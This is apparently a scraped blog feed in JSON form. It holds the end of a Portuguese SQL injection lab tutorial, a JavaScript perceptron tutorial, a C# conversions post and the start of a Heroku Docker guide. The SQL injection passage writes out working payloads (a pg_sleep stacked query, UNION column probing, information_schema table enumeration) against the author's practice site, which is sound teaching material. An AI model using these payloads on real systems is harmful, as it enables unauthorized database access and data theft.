\u00e9?! O que mais podemos fazer com nossa query? Tudo, ou quase tudo&hellip;\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39;;SELECT pg_sleep(10);--%&#39; Est\u00e1 \u00e9 a \u00faltima query que executamos. Pense agora nas possibilidades.\nJ\u00e1 que sabemos que o banco de dados \u00e9 PostgreSql. Agora vamos tentar encontrar tabelas.\nPrimeiro precisamos entender a estrutura de retorno do SQL, as colunas.\nO nosso retorno deve ser algo em torno de tr\u00eas colunas.\nTr\u00eas colunas porque o produto mostrado na tela contem um Id, Nome e um Pre\u00e7o.\n(3 | Hammer Drills | 22.3)\nOk, ok. Podem n\u00e3o ser tr\u00eas colunas exatamente, mas vamos tentar com 3 por enquanto (lembre-se que projetei o sistema).\nAgora vamos utilizar o comando UNION do SQL. Isso nos possibilita juntar dois resultados em um \u00fanico resultado ou Dataset.\nVamos usar isso para retornar os dados de produtos e algo que nos interessa.\nSELECT ?, ?, ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; Vamos modificar nossa query para utilizar o UNION e trazer os valores 1, 2, 3.\nSELECT ?, ?, ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; UNION SELECT &#39;1&#39;, &#39;2&#39;, &#39;3&#39;;-- Isso produziu o retorno que j\u00e1 conhecemos mais uma linha contendo os valores &ldquo;1&rdquo;, &ldquo;2&rdquo; e &ldquo;3&rdquo;, tamb\u00e9m validando nossa hip\u00f3tese de tr\u00eas colunas.\nVamos partir para as tabelas agora.\nSELECT ?, ?, ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; UNION SELECT &#39;1&#39;, &#39;2&#39;, &#39;3&#39;;-- Nosso comando atual.\nO comando abaixo \u00e9 capaz de retornar as tabelas do Schema do banco de dados PostgreSql.\nSELECT table_name FROM information_schema.tables WHERE table_schema=&#39;public&#39; Resultado esperado. Tabelas do sistema\nVamos introduzir a nossa Query.\nSELECT table_name FROM information_schema.tables WHERE table_schema=&#39;public&#39; Coloque no campo de busca mmer%'UNION SELECT &quot;table_name&quot;, &quot;table_schema&quot;, &quot;table_catalog&quot; FROM information_schema.tables WHERE table_schema='public'--\nFormando a QUERY:\nselect ?, ?, ? from ? UNION SELECT &#34;table_name&#34;, &#34;table_catalog&#34;, &#34;table_schema&#34; FROM information_schema.tables WHERE table_schema=&#39;public&#39; Encontramos as tabelas Product e Users.\nDai para frente \u00e9 s\u00f3 extrapolar as possiblidades.\nC\u00f3digo Fonte do Website # https:\/\/github.com\/bootcamp-bbq\/SqlInjection-Lab.git\nRefer\u00eancias utilizadas: # https:\/\/www.owasp.org\/index.php\/SQL%5FInjection\nhttps:\/\/youtu.be\/ciNHn38EyRc\n","date":"December 2, 2019","permalink":"https:\/\/rmauro.dev\/sql-injection-na-pratica\/","section":"Posts","summary":"<h2 id=\"primeiro-voc\u00ea-sabe-ou-lembra-se-o-que-\u00e9-sql-injection\" class=\"relative group\">Primeiro, voc\u00ea sabe (ou lembra-se) o que \u00e9 SQL Injection? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#primeiro-voc%c3%aa-sabe-ou-lembra-se-o-que-%c3%a9-sql-injection\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p><em>(for <a href=\"https:\/\/rmauro.dev\/practice-of-sql-injection\/\" target=\"_blank\" rel=\"noreferrer\">english version<\/a>)<\/em><\/p>\n<p>Segundo OWASP.org (<a href=\"https:\/\/www.owasp.org\/index.php\/SQL%5FInjection\" target=\"_blank\" rel=\"noreferrer\">https:\/\/www.owasp.org\/index.php\/SQL%5FInjection<\/a>).<\/p>\n<blockquote>\n<p>A SQL injection attack consists of insertion or &ldquo;injection&rdquo; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data.<\/p>\n<\/blockquote>\n<p>Ou seja, \u00e9 uma t\u00e9cnica de invas\u00e3o de servi\u00e7os web atrav\u00e9s de comandos SQL.<br>\nDesde que o servi\u00e7o web (<em>website<\/em>, <em>webservice<\/em>, <em>REST API<\/em>, etc) esteja sucet\u00edvel ao ataque <em>SQL Injection<\/em>, voc\u00ea consegue executar comandos SQL n\u00e3o previstos no sistema.<\/p>","title":"SQL Injection na Pr\u00e1tica - Executando o Ataque"},{"content":"Voc\u00ea sabe o que \u00e9 um Perceptron?\nPerceptron \u00e9 um dos building blocks (componentes) da rede neural feed foward. Uma rede neural \u00e9 essencialmente baseada em N Perceptrons.\nSegundo wikipedia:\nIn machine learning, the perceptron is an algorithm for supervised learning of binary classifiers. A binary classifier is a function which can decide whether or not an input, represented by a vector of numbers, belongs to some specific class.\nOu seja, \u00e9 um programa que com base em entradas (n\u00fameros), capaz de classific\u00e1-los em classes (n\u00fameros).\nVamos entender mais essa frase quando desenvolvermos um pouco de c\u00f3digo.\nNeste tutorial, voc\u00ea ir\u00e1:\nDesenvolver um Perceptron utilizando a linguagem Javascript Entender o que \u00e9 um Perceptron Pr\u00e9-requisitos # Visual Studio Code Chrome Conhecimentos em Javascript Um pouco de teoria # O Perceptron \u00e9 uma representa\u00e7\u00e3o, atrav\u00e9s de c\u00f3digo, de um neur\u00f4nio. N\u00e3o \u00e9 uma representa\u00e7\u00e3o n\u00e3o exata, mas uma representa\u00e7\u00e3o atrav\u00e9s de c\u00f3digo do que \u00e9 um neur\u00f4nio.\nPassos do neur\u00f4nio:\nReceber entradas atrav\u00e9s dos detritos Processar as entradas dentro do neur\u00f4nio (algoritmo) Enviar uma sa\u00edda atrav\u00e9s do ax\u00f4nio Bem mais simples que o biol\u00f3gico, pois se trata de um programa de computador com alus\u00e3o ao neur\u00f4nio biol\u00f3gico.\nOk. Mas e a rede neural?\nBem, a rede neural (ou neural network em ingl\u00eas), temos a combina\u00e7\u00e3o de v\u00e1rios perceptrons (v\u00e1rios neur\u00f4nios), com alguns ajustes, ou muitos ajustes :)\nMas a ideia \u00e9 basicamente a combina\u00e7\u00e3o de v\u00e1rios perceptrons.\nElaborando melhor nosso problema - O Perceptron #Ele deve receber duas entradas, vamos cham\u00e1-las de X1 e X2 (inputs), process\u00e1-las e retornar uma sa\u00edda Y1 (classe).\nOu seja, nosso perceptron deve resolver um problema de classifica\u00e7\u00e3o.\nDado duas entradas (pode ser mais, para simplifica\u00e7\u00e3o do problema somente duas agora) ele deve responder uma sa\u00edda que corresponde a uma classe, de pref\u00earencia a correta.\nNosso problema \u00e9 a classifica\u00e7\u00e3o dos c\u00edrculos.\nLembre-se do plano cartesiado, onde a linha azul \u00e9 o Y e a linha vermelha \u00e9 o X.\nNosso perceptron deve classificar os c\u00edrculos entre abaixo da seta (classe 1) ou acima da seta (classe 2).\nVamos aos passos do algoritmo:\nPense em um dos desses pontos (qualquer um), ele \u00e9 representado no plano por dois n\u00fameros (X e Y).\nEsses pontos ser\u00e3o as entradas do perceptron. A sa\u00edda do perceptron dever\u00e1 ser a um n\u00famero que represente sua classifica\u00e7\u00e3o (se pertence ao grupo dos acima da linha ou do grupo dos abaixo da linha). Caso nosso perceptron responda errado, iremos informar a ele o valor correto para ele se auto ajustar (algoritmo de Gradient Descent, j\u00e1 chegamos l\u00e1). Caso ele responda certo, tamb\u00e9m iremos inform\u00e1-lo para se auto ajustar. N\u00e3o se preocupe, voc\u00ea vai entender melhor com o decorrer da leitura desse artigo.\nComponentes do Perceptron # Al\u00e9m de nossas entradas X e Y, nosso perceptron tamb\u00e9m tem weight x e weight y.\nEsses dois componentes s\u00e3o utilizados para pesar nossas entradas.\nEles ser\u00e3o os itens pass\u00edveis de ajustes conforme o resultado e feedback do nosso programa.\nO Algoritmos do Perceptron #Passo-a-passo do algoritmo\nA formula: Y = X0 * W0 + X1 * W1 Activation Function: Sign(n) if (n &gt;= 0) return +1; else return -1; Caso n\u00famero seja positivo ou igual a zero = +1 Caso contr\u00e1rio ser\u00e1 -1 Inicializa\u00e7\u00e3o dos weights randomicamente com valores entre 0 e 1 Obs.: Existem outros tipos de Activation Function, mas esse \u00e9 o mais f\u00e1cil para entendermos no momento.\nChega de papo, vamos ao c\u00f3digo. #1 - Vamos criar uma pasta vazia chamada de perceptron, nela vamos criar tr\u00eas arquivos.\nindex.html (onde iremos depurar e observar resultados no google chrome -- eu prefiro e gosto do google chrome para depurar o javascript) sketch.js onde ir\u00e1 rodar nosso programa, inicializa\u00e7\u00e3o de vari\u00e1veis, main(), etc. perceptron.js, onde iremos escrever o c\u00f3digo do perceptron point.js ser\u00e1 nossa representa\u00e7\u00e3o l\u00f3gica do ponto no plano cartesiado Aqui estou usando o Visual Studio Code, mas voc\u00ea pode utilizar qualquer editor de texto (tamb\u00e9m \u00e9 minha prefer\u00eancia para editor de texto).\n2 - Vamos come\u00e7ar pelo nosso arquivo index.html. Vamos colocar tudo que precisamos para come\u00e7ar.\n&lt;!--index.html--&gt; &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script language=&#34;javascript&#34; type=&#34;text\/javascript&#34; src=&#34;https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/p5.js\/0.6.0\/p5.min.js&#34;&gt;&lt;\/script&gt; &lt;script language=&#34;javascript&#34; type=&#34;text\/javascript&#34; src=&#34;https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/p5.js\/0.6.0\/addons\/p5.dom.min.js&#34;&gt;&lt;\/script&gt; &lt;script src=&#34;point.js&#34;&gt;&lt;\/script&gt; &lt;script src=&#34;perceptron.js&#34;&gt;&lt;\/script&gt; &lt;script src=&#34;sketch.js&#34;&gt;&lt;\/script&gt; &lt;\/head&gt; &lt;body&gt; &lt;\/body&gt; &lt;\/html&gt; As primeiras duas depend\u00eancias s\u00e3o necess\u00e1rias para algumas fun\u00e7\u00f5es de c\u00e1lculo como o m\u00e9todo random() e map() e tamb\u00e9m para nos ajudar a desenhar na tela.\nAssim tamb\u00e9m teremos um feedback visual (ajuda no entendimento da solu\u00e7\u00e3o).\n3 - Agora ao que interessa, vamos para o arquivo perceptron.js.\nComo descrito acima, nosso perceptron precisa de weights (pesos), um para cada entrada, no nosso caso duas entradas (X1 e X2).\n\/\/perceptron.js class Perceptron { weights = [0, 0]; constructor() { \/\/inicializando os weights com valores random for(let i = 0; i &lt; this.weights.length; i++) { \/\/random funcion vem das nossas depend\u00eancias this.weights[i] = random(-1, 1) } } } Temos uma classe Perceptron, com uma vari\u00e1veis weigths (array com duas posi\u00e7\u00f5es) e a inicializamos com valores rand\u00f4micos.\n4 - Agora ao nosso m\u00e9todo guess() (adivinhar), vamos aplicar a formula descrita acima (Y = X1 * W1 + X2 * W2).\n\/\/perceptron.js \/\/inputs --&gt; entrada array de duas posi\u00e7oes (X1 e X2) guess(inputs) { let sum = 0; for(let i = 0; i &lt; this.weights.length; i++) { sum += inputs[i] * this.weights[i]; } const output = sign(sum); return output; } Coloque dentro da classe Perceptron.\n5 - O m\u00e9todo sign(). Este vai fora da classe Perceptron, por\u00e9m no mesmo arquivo.\n\/\/perceptron.js function sign(num) { return num &gt;= 0 ? 1 : -1; } \u00d3timo, agora vamos ver como ficou nosso arquivo perceptron.js.\n\/\/perceptron.js \/\/the activation function function sign(num) { return num &gt;= 0 ? 1 : -1; } class Perceptron { weights = [0, 0]; lr = 0.1; constructor() { for(let i = 0; i &lt; this.weights.length; i++) { this.weights[i] = random(-1, 1) } } guess(inputs) { let sum = 0; for(let i = 0; i &lt; this.weights.length; i++) { sum += inputs[i] * this.weights[i]; } const output = sign(sum); return output; } } \u00d3timo, hora de testar o funcionamento.\nTestando o perceptron #1 - Abra o arquivo sketch.js e cole o seguinte conte\u00fado.\nlet perceptron; function setup() { createCanvas(550, 550); perceptron = new Perceptron(); const inputs = [-1, 0.5]; const guess = perceptron.guess(inputs); console.log(`nosso resultado ${guess}`); } function draw() { } Abra o browser e o console de desenvolvedor com nosso arquivo index.html aberto.\nDe refresh no browser por algumas vezes at\u00e9 ver o resultado mudar.\nIsso ocorre devido a nosso weights serem inicializados randomicamente a cada construtor, ou a cada refresh de p\u00e1gina.\nPerfeito. Chegamos at\u00e9 aqui. Nosso perceptron j\u00e1 est\u00e1 funcionando. N\u00e3o muito para ser ver aqui, mas avan\u00e7amos bastante.\nPreparando para testar nosso perceptron com uma massa maior - O Dataset. #Nosso dataset (ou massa de dados) ter\u00e1 uma s\u00e9rie de c\u00edrculos, j\u00e1 com label (vamos saber de ante m\u00e3o a classifica\u00e7\u00e3o correta) e passar para nosso perceptron classificar - guess().\n1 - Point.js - Representa\u00e7\u00e3o do ponto #Primeiro abra o arquivo point.js e declare-o com o seguinte conte\u00fado. Ele ser\u00e1 nossa representa\u00e7\u00e3o de ponto no espa\u00e7o.\n\/\/point.js class Point { x = 0; y = 0; label = 0; constructor(x, y) { this.x = x; this.y = y; this.label = this.getLabel(); } getLabel() { if(this.x &gt; this.y) { return 1; } else { return -1; } } getPixelX() { const px = map(this.x, -1, 1, 0, width); return px; } getPixelY() { const py = map(this.y, -1, 1, height, 0); return py; } show() { stroke(0); if(this.label === 1) { fill(0); } else { fill(255); } const px = this.getPixelX(); const py = this.getPixelY(); ellipse(px, py, 22, 22); } debug() { console.log(`label: ${this.label} x ${this.x} y ${this.y}`) } } Vamos entender um pouco da nossa classe.\nConstrutor recebe dois argumentos, X e Y. Dados os argumentos o pr\u00f3prio ponto se classifica (somente para compara\u00e7\u00e3o com o resultado do perceptron).\ngetLabel bem simples, se x &gt; y \u00e9 1, sen\u00e3o \u00e9 0.\nshow() ir\u00e1 se auto desenhar na tela utilizando m\u00e9todos do p5.js.\ndebug() escreve no console do browser informa\u00e7\u00f5es de debug (X, Y e Label).\ngetPixelX() e getPixelY() convertem o valor de X e Y do plano cartesiado para valores de tela (width e height). Ou seja, caso entrada seja 0.5, ele ir\u00e1 mapear para o valor correspondente na tela de acordo com nossa \u00e1rea de desenho.\nAh, e antes que me esque\u00e7a. Nossas entradas est\u00e3o entre -1 e 1, por exemplo -1, 0.2, 0.993 e assim por diante.\n2 - Preparando o sketch.js #Legal, vamos criar uma serie de pontos e colocarmos na tela.\n\/\/sketch.js let points = new Array(100); function setup() { createCanvas(550, 550); for(let i = 0; i &lt; points.length; i++) { points[i] = new Point(random(-1, 1), random(-1, 1)); } } function draw() { background(255); for(let i = 0; i &lt; points.length; i++) { points[i].show(); } } Utilizando a biblioteca p5.js (uma de nossas depend\u00eancias) s\u00f3 precisamos declarar dois m\u00e9todos setup() e draw().\nsetup() \u00e9 onde iremos inicializar nossas vari\u00e1veis.\ndraw() \u00e9 onde manipulamos nossas vari\u00e1veis e realizamos o desenho na tela.\nPronto, agora um refresh no navegador index.html do nosso programa.\nO que vemos aqui? Um s\u00e9rie de c\u00edrculos, alguns brancos outros pretos. Agora, perceba o padr\u00e3o, veja que podemos tra\u00e7ar uma linha separando os c\u00edrculos de cada cor.\nOs brancos pertencem a classifica\u00e7\u00e3o 0 e os pretos a classifica\u00e7\u00e3o 1.\n3 - Feedback e classifica\u00e7\u00e3o para nosso perceptron #Voltando ao nosso desenho inicial.\nAgora que temos os valores corretos, o que temos que fazer \u00e9 informar ao perceptron se ele errou, e qu\u00e3o errado foi, para se autocorrigir (mais c\u00f3digo claro).\nPara tal fa\u00e7anha, o algoritmo ser\u00e1:\nERROR = DESIRED OUTPUT - GUESS OUTPUT\nEm nossa tabela, onde deseired \u00e9 o desejado, guess foi o retornado pelo perceptron e error \u00e9 o c\u00e1lculo do erro (qu\u00e3o errado foi).\nLembre-se, a ideia \u00e9 encontrar os weights \u00f3timos, com essa formula podemos ajustar para chegar l\u00e1.\nUma das maneiras \u00e9 a utiliza\u00e7\u00e3o do algoritmo de gradient descent, mas vamos utilizar um algoritmo um pouco mais simples nesse momento.\nNossa formula:\nW0 = error * X0\nNosso processo ser\u00e1:\n1 - Prover ao perceptron inputs que j\u00e1 sabemos a resposta\n2 - Perguntar ao perceptron a resposta\n3 - Computar o erro (acertou ou error)\n4 - Ajustar o Weigths de acordo com o erro\n5 - Retornar ao primeiro passo e repetir\nVamos programar nosso m\u00e9todo train().\n4 - M\u00e9todo Train() #\/\/perceptron.js train(inputs, target) { const guess = this.guess(inputs); const error = target - guess; \/\/tune all the weights for(let i = 0; i &lt; this.weights.length; i++) { this.weights[i] += error * inputs[i] * this.lr; } } Mas espere, o que \u00e9 essa vari\u00e1vel this.lr? N\u00e3o t\u00ednhamos isso antes.\nBom, esse \u00e9 nosso Learning Rate. Isso resolve o problema de over shoot (ajustar demais).\nO que \u00e9 \u00f3timo para uma *entrada n\u00e3o \u00e9 o \u00f3timo para outra.\nEssa vari\u00e1vel Learning rate ir\u00e1 nos ajudar a ajustar de maneira mais assertiva os nossos weights.\n\/\/perceptron.js function sign(num) { return num &gt;= 0 ? 1 : -1; } class Perceptron { weights = []; \/\/learning rate lr = 0.1; constructor(numberWeigths) { this.weights = new Array(numberWeigths); for(let i = 0; i &lt; this.weights.length; i++) { this.weights[i] = random(-1, 1) } } guess(inputs) { let sum = 0; for(let i = 0; i &lt; this.weights.length; i++) { sum += inputs[i] * this.weights[i]; } let output = sign(sum); return output; } train(inputs, target) { const guess = this.guess(inputs); const error = target - guess; for(let i = 0; i &lt; this.weights.length; i++) { this.weights[i] += error * inputs[i] * this.lr; } } } Nosso perceptron.js por completo. Agora vamos ajustar nossa sketch.js para utilizamos o m\u00e9todo train().\n5 - Ajustando sketch.js para utilizar o m\u00e9todo Train() #\/\/sketch.js let perceptron; let points = new Array(100); function setup() { createCanvas(550, 550); perceptron = new Perceptron(2); for(let i = 0; i &lt; points.length; i++) { points[i] = new Point(random(-1, 1), random(-1, 1)); \/\/points[i].debug(); } } function draw() { background(255); for(let i = 0; i &lt; points.length; i++) { points[i].show(); } noStroke(); for(let i = 0; i &lt; points.length; i++) { const pt = points[i]; const inputs = [pt.x, pt.y]; const target = pt.label; const guess = perceptron.guess(inputs); if(guess == target) { fill(0, 255, 00); } else { fill(255, 0, 0); } ellipse(pt.getPixelX(), pt.getPixelY(), 15, 15); } drawLine(); trainSinglePoint(); } function drawLine() { stroke(0); line(0, height, width, 0); } let trainningIndex = 0; function trainSinglePoint() { const pt = points[trainningIndex]; const inputs = [pt.x, pt.y]; perceptron.train(inputs, pt.label); trainningIndex++; if(trainningIndex == points.length) { trainningIndex = 0; } } Execute novamente nosso programa no browser e veja que agora os circulos verdes indicam acerto do perceptron e os c\u00edrculos vermelhos indicam erro.\nE a cada loop do m\u00e9todo draw() executamos o m\u00e9todo train() do perceptron.\nPor isso os c\u00edrculos ficam mudando de cor para eventualmente parar at\u00e9 todos estarem certos.\nFa\u00e7a um experimente, comente o m\u00e9todo trainSinglePoint() no `sketch.js*, voc\u00ea ver\u00e1 o resultado sem nenhum treinamento.\nO Bias (terceiro elemento) #Mas nosso perceptron tem um grande problema. O que acontece quando enviamos o ponto 0,0 para ele?\nX0 = 0\nX1 = 0\nSegundo nosso algoritmo o resultado ser\u00e1 sempre 0.\nY0 = X0 * W0 + X1 * W1\nMas isso \u00e9 um problema por que? Voc\u00ea me pergunta.\nConsidere a seguinte linha. (formula da reta &ndash;&gt; y = mx + b).\nO nosso algoritmo nunca ir\u00e1 acertar, porque a linha n\u00e3o passa pelo centro do plano (0,0). Nunca!\nPara evitar esse dilema, nosso perceptron exigir\u00e1 uma terceira entrada, geralmente chamada de entrada de bias. Uma entrada de o valor de 1 e que tamb\u00e9m \u00e9 ponderada.\nAqui est\u00e1 o nosso perceptron com a adi\u00e7\u00e3o do bias:\nAdicionamento o Bias ao c\u00f3digo #Primeiro vamos utilizar uma formula gen\u00e9rica para calcular nossa linha de classifica\u00e7\u00e3o.\n1-No arquivo point.js e adicione a seguinte fun\u00e7\u00e3o fora da classe.\n\/\/point.js function f(x) { \/\/y = mx + b return 0.3 * x + 0.2; } 2 - No mesmo arquivo modifique a fun\u00e7\u00e3o getLabel(). Isso ir\u00e1 obter a classifica\u00e7\u00e3o de acordo com nossa fun\u00e7\u00e3o de reta.\ngetLabel() { const lineY = f(this.x); if(this.y &gt; lineY) { return 1; } else { return -1; } } 2- Arquivo sketch.js vamos modificar a escrita da linha para utilizar-se da nova fun\u00e7\u00e3o.\n\/\/scketh.js function drawLine() { stroke(0); \/\/c\u00f3digo antigo \/\/line(0, height, width, 0); \/\/construindo o primeiro ponto (-1 e -1) const p1 = new Point(-1, f(-1)); \/\/construindo o segundo ponto (1 e 1) const p2 = new Point(1, f(1)); \/\/desenhando a nova linha line(p1.getPixelX(), p1.getPixelY(), p2.getPixelX(), p2.getPixelY()); } Rode novamente no browser para ver a nova linha.\nIntencionalmente n\u00e3o passamos pelo centro da tela (0, 0 no plano cartesiado).\nPerceba que se voc\u00ea deixar rodando o programa nunca vai chegar ao correto resultado.\nAdicionando o bias ao algoritmo #O bias no perceptron.\nY = W1 \/ W2 * X + B\nOnde B \u00e9 o Bias.\n1 - No arquivo perceptron.js. Vamos modific\u00e1-lo para receber pelo construtor a quantidade de weigths (um deles ser\u00e1 o bias).\n... class Perceptron { weights = []; lr = 0.1; constructor(numberWeigths) { this.weights = new Array(numberWeigths); for(let i = 0; i &lt; this.weights.length; i++) { this.weights[i] = random(-1, 1) } } ... 2 - Arquivo point.js vamos adicionar o bias. Cada ponto ir\u00e1 carregar o pr\u00f3prio bias, mesmo que seja sempre o mesmo valor :)\n\/\/point.js class Point { x = 0; y = 0; bias = 1; label = 0; constructor(x, y) { this.x = x; this.y = y; this.bias = 1; this.label = this.getLabel(); } ... 3 - no arquivo sketch.js vamos modificar o m\u00e9todo draw() para passarmos o bias quando mandarmos treinar.\n\/\/sketch.js function draw() { background(255); for(let i = 0; i &lt; points.length; i++) { points[i].show(); } for(let i = 0; i &lt; points.length; i++) { const pt = points[i]; \/\/antigo m\u00e9todo de train \/\/perceptron.train(inputs, pt.label); \/\/input com o bias const inputs = [pt.x, pt.y, pt.bias]; const target = pt.label; const guess = perceptron.guess(inputs); if(guess == target) { fill(0, 255, 00); } else { fill(255, 0, 0); } noStroke(); ellipse(pt.getPixelX(), pt.getPixelY(), 15, 15); } drawLine(); trainSinglePoint(); } 4 - Agora na fun\u00e7\u00e3o setup() vamos ajustar o construtor do perceptron.\nfunction setup() { createCanvas(550, 550); perceptron = new Perceptron(3); for(let i = 0; i &lt; points.length; i++) { points[i] = new Point(random(-1, 1), random(-1, 1)); \/\/points[i].debug(); } } 5 - E agora na fun\u00e7\u00e3o trainSinglePoint().\nlet trainningIndex = 0; function trainSinglePoint() { const pt = points[trainningIndex]; const inputs = [pt.x, pt.y, pt.bias]; perceptron.train(inputs, pt.label); trainningIndex++; if(trainningIndex == points.length) { trainningIndex = 0; } } Tudo pronto. Rode novamente no browser. Tudo deve estar funcionando e o perceptron sendo capaz de determinar todos os pontos corretamente.\nVisualizando o que o perceptron acha que \u00e9 a linha de classifica\u00e7\u00e3o #1 - Adicionando o m\u00e9todo guessY()* ao perceptron #Abra arquivo perceptron.js e adicione o c\u00f3digo do m\u00e9todo guessY() a classe Perceptron.\nguessY(x) { const w0 = this.weights[0]; const w1 = this.weights[1]; const w2 = this.weights[2]; return -(w2 \/ w1) - (w0 \/ w1) * x; } Agora abra o arquivo sketch.js novamente no m\u00e9todo drawLine() e substitua por.\nfunction drawLine() { stroke(0); \/\/line(0, height, width, 0); const p1 = new Point(-1, f(-1)); const p2 = new Point(1, f(1)); line(p1.getPixelX(), p1.getPixelY(), p2.getPixelX(), p2.getPixelY()); const guessP1 = new Point(-1, perceptron.guessY(-1)); const guessP2 = new Point(1, perceptron.guessY(1)); line(guessP1.getPixelX(), guessP1.getPixelY(), guessP2.getPixelX(), guessP2.getPixelY()); } Perceba que agora estamos construindo os pontos X1, Y1 e X2 e Y2 atrav\u00e9s do m\u00e9todo guessY(). Isso ir\u00e1 nos dizer o que o Perceptron acha que \u00e9 o correto.\nPronto. Chegamos ao fim. Refresh na tela de novo.\nAgora te recomendo brincar um pouco com a vari\u00e1vel learning rate, aumente e diminua ela para entender como ela funciona.\nPr\u00f3ximas etapas # Adicione c\u00edrculos para o perceptron resolver que n\u00e3o fa\u00e7am parte do dataset inicial Evolua o programa para resolver o problema XOR Refer\u00eancias # Youtube&rsquo;s Daniel Shiffman I - 10.2: Neural Networks: Perceptron Part 1 - The Nature of Code Youtube&rsquo;s Daniel Shiffman II - 10.1: Introduction to Neural Networks - The Nature of Code Wikipedia - Perceptron Nature of Code E-Book ","date":"November 2, 2019","permalink":"https:\/\/rmauro.dev\/comecando-com-machine-learning-escrevendo-um-perceptron\/","section":"Posts","summary":"<p>Voc\u00ea sabe o que \u00e9 um <strong>Perceptron<\/strong>?<\/p>\n<p>Perceptron \u00e9 um dos building blocks (componentes) da <strong>rede neural feed foward<\/strong>. Uma rede neural \u00e9 essencialmente baseada em N Perceptrons.<\/p>\n<p>Segundo wikipedia:<\/p>\n<blockquote>\n<p>In machine learning, the <em>perceptron<\/em> is an algorithm for supervised learning of binary classifiers. A binary classifier is a function which can decide whether or not an input, represented by a vector of numbers, belongs to some specific class.<\/p>\n<\/blockquote>\n<p>Ou seja, \u00e9 um programa que com base em <strong>entradas<\/strong> (n\u00fameros), capaz de <strong>classific\u00e1-los<\/strong> em classes (n\u00fameros).<\/p>","title":"Come\u00e7ando com Machine Learning - Escrevendo um Perceptron"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/javascript\/","section":"Tags","summary":"","title":"Javascript"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/perceptron\/","section":"Tags","summary":"","title":"Perceptron"},{"content":"Fist the data types available.\nint whole numbers long whole numbers (bigger range) float floating-point numbers double double precision decimal monetary values char single character bool boolean DateTime moments in time\tstring sequence of characters Table of implicit conversion made by C#.\nFrom To sbyte short int long float double decimal byte short ushort int uint long ulong float double decimal short int long float double decimal ushort int uint long ulong float double decimal int long float double decimal uint long ulong float double decimal long ulong float double decimal float double char ushort int uint long ulong float double decimal By the way, you cannot implicitly convert a long value to an int, because this conversion risks losing information (the long value might be outside the range supported by the int type).\nExplicit conversions #In Visual C#, you can use a cast operator to perform explicit conversions. A cast specifies the type to convert to, in round brackets before the variable name\nint a; long b = 5; a = (int) b; \/\/ Explicit conversion of long to int. Using the System.Convert Class #The System.Convert class provides methods that can convert a base data type to another base data type. These methods have names such as ToDouble, ToInt32, ToString, and so on.\nstring possibleInt = &#34;1234&#34;; int count = Convert.ToInt32(possibleInt); TryParse conversion #int number = 0; string numberString = &#34;1234&#34;; if (int.TryParse(numberString, out number)) { \/\/ Conversion succeeded, number now equals 1234. } else { \/\/ Conversion failed, number now equals 0. } ","date":"September 29, 2019","permalink":"https:\/\/rmauro.dev\/csharp-implicit-conversion-cast-explicit-conversion\/","section":"Posts","summary":"<p>Fist the data types available.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">int            whole numbers\n<\/span><\/span><span class=\"line\"><span class=\"cl\">long           whole numbers (bigger range)\n<\/span><\/span><span class=\"line\"><span class=\"cl\">float          floating-point numbers\n<\/span><\/span><span class=\"line\"><span class=\"cl\">double         double precision\n<\/span><\/span><span class=\"line\"><span class=\"cl\">decimal        monetary values\n<\/span><\/span><span class=\"line\"><span class=\"cl\">char           single character\n<\/span><\/span><span class=\"line\"><span class=\"cl\">bool           boolean\n<\/span><\/span><span class=\"line\"><span class=\"cl\">DateTime       moments in time\t\n<\/span><\/span><span class=\"line\"><span class=\"cl\">string         sequence of characters\n<\/span><\/span><\/code><\/pre><\/div><p>Table of implicit conversion made by C#.<\/p>\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">From           To \n<\/span><\/span><span class=\"line\"><span class=\"cl\">sbyte          short int long float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">byte           short ushort int uint long ulong float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">short          int long float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">ushort         int uint long ulong float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">int            long float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">uint           long ulong float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">long ulong     float double decimal \n<\/span><\/span><span class=\"line\"><span class=\"cl\">float          double \n<\/span><\/span><span class=\"line\"><span class=\"cl\">char           ushort int uint long ulong float double decimal\n<\/span><\/span><\/code><\/pre><\/div><p>By the way, you cannot implicitly convert a <strong>long<\/strong> value to an <strong>int<\/strong>, because this conversion risks losing information (the long value might be outside the range supported by the int type).<\/p>","title":"C# Conversions - Casting, implicit and explicit conversion"},{"content":"I&rsquo;m tired of searching every time I need to deploy to heroku cloud. Being that said I&rsquo;m finally writing down the steps do deploy a docker container app to Heroku cloud.\nBy the way, Heroku Cloud it is really cool.\nRequirements to deploy # Docker client (windows or linux) installed Link Heroku CLI (command line interface) installed Link Application with a Dockerfile Changes you have to make in your Dockerfile #First remove the Entrypoint and EXPOSE statments of your Dockerfile.\nENTRYPOINT [&#34;dotnet&#34;, &#34;SOME-APP.dll&#34;] Instead of use the EXPOSE command we should rely on environment variable PORT (Heroku sets the output port you should use) and execute a CMD command instead of ENTRYPOINT as the last command line.\n#set up as a environment variable CMD export ASPNETCORE_URLS=http:\/\/*:$PORT #or set up in the command line of execution CMD ASPNETCORE_URLS=http:\/\/*:$PORT dotnet ENTRYPOINT-DLL.dll The final Dockerfile:\nFROM microsoft\/dotnet:2.2-aspnetcore-runtime AS base WORKDIR \/app FROM microsoft\/dotnet:2.2-sdk AS build WORKDIR \/src 